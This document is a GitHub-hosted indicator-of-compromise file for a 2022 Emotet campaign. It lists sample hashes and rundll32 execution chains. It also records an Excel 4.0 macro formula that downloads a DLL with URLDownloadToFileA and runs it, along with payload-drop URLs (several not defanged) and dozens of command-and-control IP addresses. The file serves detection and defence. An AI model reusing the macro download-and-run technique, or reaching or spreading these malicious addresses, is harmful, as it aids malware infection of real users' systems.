-
Notifications
You must be signed in to change notification settings - Fork 10
/
e5_emotet_02.02.2022.txt
86 lines (63 loc) · 2.41 KB
/
e5_emotet_02.02.2022.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
Emotet 2022
e5 - (second payload)
.xlsx 368c8e9e5c3273d52514a8418bb9b9afc0c71709659e25d13128166e57feb937
.dll 2aece35531ccb95fe5837975005175f15d0d728b00d6fccff451e75804136f88
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Message-2692.xlsm
C:\Windows\SysWow64\rundll32.exe ..\iix.ocx,D"&"l"&"lR"&"egister"&"Serve"&"r
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Admin\iix.ocx",DllRegisterServer
C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\Eayrivwujhwqyyck\eghzehtntkawqq.eqo,zWEeAQZvyy
C:\Windows\SysWOW64\rundll32.exe C:\Windows\System32\Eayrivwujhwqyyck\eghzehtntkawqq.eqo,DllRegisterServer
http://schemas.openxmlformats.org/spreadsheetml/2006/main
http://revueagricole.com/wp-admin/iJDi9Hbqe/
https://sudaneseacademy.com/wp-admin/VjXNzK7L0uuJsdM9PKi/
http://galabet.blog/2np65ok/IZgE/
https://didorenko.org/review/cAAweb70J2VO/
************************************************************************************************************
Epoch5 - .xls > .dll (first)
.xls 5d3eb57d2aed1ab7d4949710223bf45cdb1d75ea9dba02fbb65cdbc4af1d1794
.dll fe564e62358b78e1f63ed7236e8dd3b31ad2c1b7c3b17c83b1181dd87f0165f1
=CALL("urlmon", "URLDownloadToFileA", "JCCB", 0, "hxxps://www.preferredsupports.com/cli/rK9sG2/", "..\iix.ocx")
rundll32.exe ..\iix.ocx,D"&"l"&"lR"&"egister"&"Serve"&"r
rundll32.exe "C:\Users\Admin\iix.ocx",DllRegisterServer
GET: hxxps://173.203.78.138/eFTsPeMhxFeGpRgyUsYRQcdznmhqBQCGgWxOafiPXhgkYhsGiCLUTjFRJjCySfJ
***
Additonal .dll drops
https://www.preferredsupports.com/cli/rK9sG2/
https://homdecorstation.com/wazf7j/tP4PH/
https://savagerefinisherinc.com/cgi-bin/Ny1/
https://haqsonsgroup.com/css/LBHRIu/
https://lauramarshall.com/cgi-bin/sxS8ctblr/
c2's
173.203.78.138:443
74.207.230.120:8080
118.98.72.86:443
104.131.62.48:8080
37.59.209.141:8080
78.47.204.80:443
103.41.204.169:8080
142.4.219.173:8080
62.171.178.147:8080
195.154.146.35:443
185.148.168.15:8080
54.37.228.122:443
207.148.81.119:8080
139.196.72.155:8080
217.182.143.207:443
37.44.244.177:8080
203.153.216.46:443
59.148.253.194:443
191.252.103.16:80
195.77.239.39:8080
194.9.172.107:8080
54.38.242.185:443
168.197.250.14:80
85.214.67.203:8080
128.199.192.135:8080
159.69.237.188:443
190.90.233.66:443
185.148.168.220:8080
198.199.98.78:8080
210.57.209.142:8080
116.124.128.206:8080
78.46.73.125:443
66.42.57.149:443